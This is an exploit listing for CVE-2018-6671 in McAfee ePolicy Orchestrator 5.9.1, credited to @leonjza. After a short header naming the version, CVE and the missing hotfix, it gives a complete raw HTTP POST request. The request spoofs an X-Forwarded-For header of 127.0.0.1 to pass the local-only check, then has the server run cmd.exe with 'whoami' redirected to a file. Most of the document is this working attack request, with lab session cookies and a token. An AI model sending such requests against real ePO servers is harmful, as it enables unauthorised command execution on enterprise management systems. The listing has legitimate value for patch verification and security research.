McAfee ePO 5.9.1 Registered Executable Local Access Bypass

`# Exploit Title: McAfee ePO 5.9.1 Registered Executable Local Access Bypass  
# Date: 2019-03-07  
# Exploit Author: @leonjza  
# Vendor Homepage: https://www.mcafee.com/  
# Software Link: https://www.mcafee.com/enterprise/en-us/products/epolicy-orchestrator.html  
# Version: ePO v5.9.1  
# Tested on: Windows Server 2012  
# CVE : cve-2018-6671  
  
GIST LINK: https://gist.github.com/leonjza/17eb8ed9cba0ea1d2c70b82782c6d949  
  
# CVE-2018-6671 McAfee ePO 5.9.1 Registered Executable Local Access Bypass  
# Specifying an X-Forwarded-For header bypasses the local only check  
# https://kc.mcafee.com/corporate/index?page=content&id=SB10240  
# https://nvd.nist.gov/vuln/detail/CVE-2018-6671  
#  
# 2019 @leonjza  
#  
# Tested on ePO v5.9.1, missing hotfix EPO5xHF1229850  
  
POST /Notifications/testRegExe.do HTTP/1.1  
Host: 192.168.1.26:8443  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0)  
Gecko/20100101 Firefox/66.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: https://192.168.1.26:8443/Notifications/addRegExecutable.do?orion.user.security.token=Bp5pZJOQll2vryhC  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
Content-Length: 284  
DNT: 1  
Connection: close  
Cookie: JSESSIONID=645BCB1CE5B7DBE1B9EDC7BB9F2F7349.route1;  
orion.login.language="language:en&country:";  
orion.content.size="width:1384&height:699";  
JSESSIONIDSSO=4D970A5F2DBF48309F796DF38B80FC15  
X-Forwarded-For: 127.0.0.1  
  
orion.user.security.token=Bp5pZJOQll2vryhC&orion.user.security.token=Bp5pZJOQll2vryhC&executableName=CVE-2018-6671%20PoC&executablePath=c:\windows\system32\cmd.exe&userName=&pass=&passConfirm=&testExeArgs=/c  
whoami > c:\CVE-2018-6671.txt&testExeTime=60000&objectId=0&ajaxMode=standard  
  
  
--   
L.  
:wq!  
`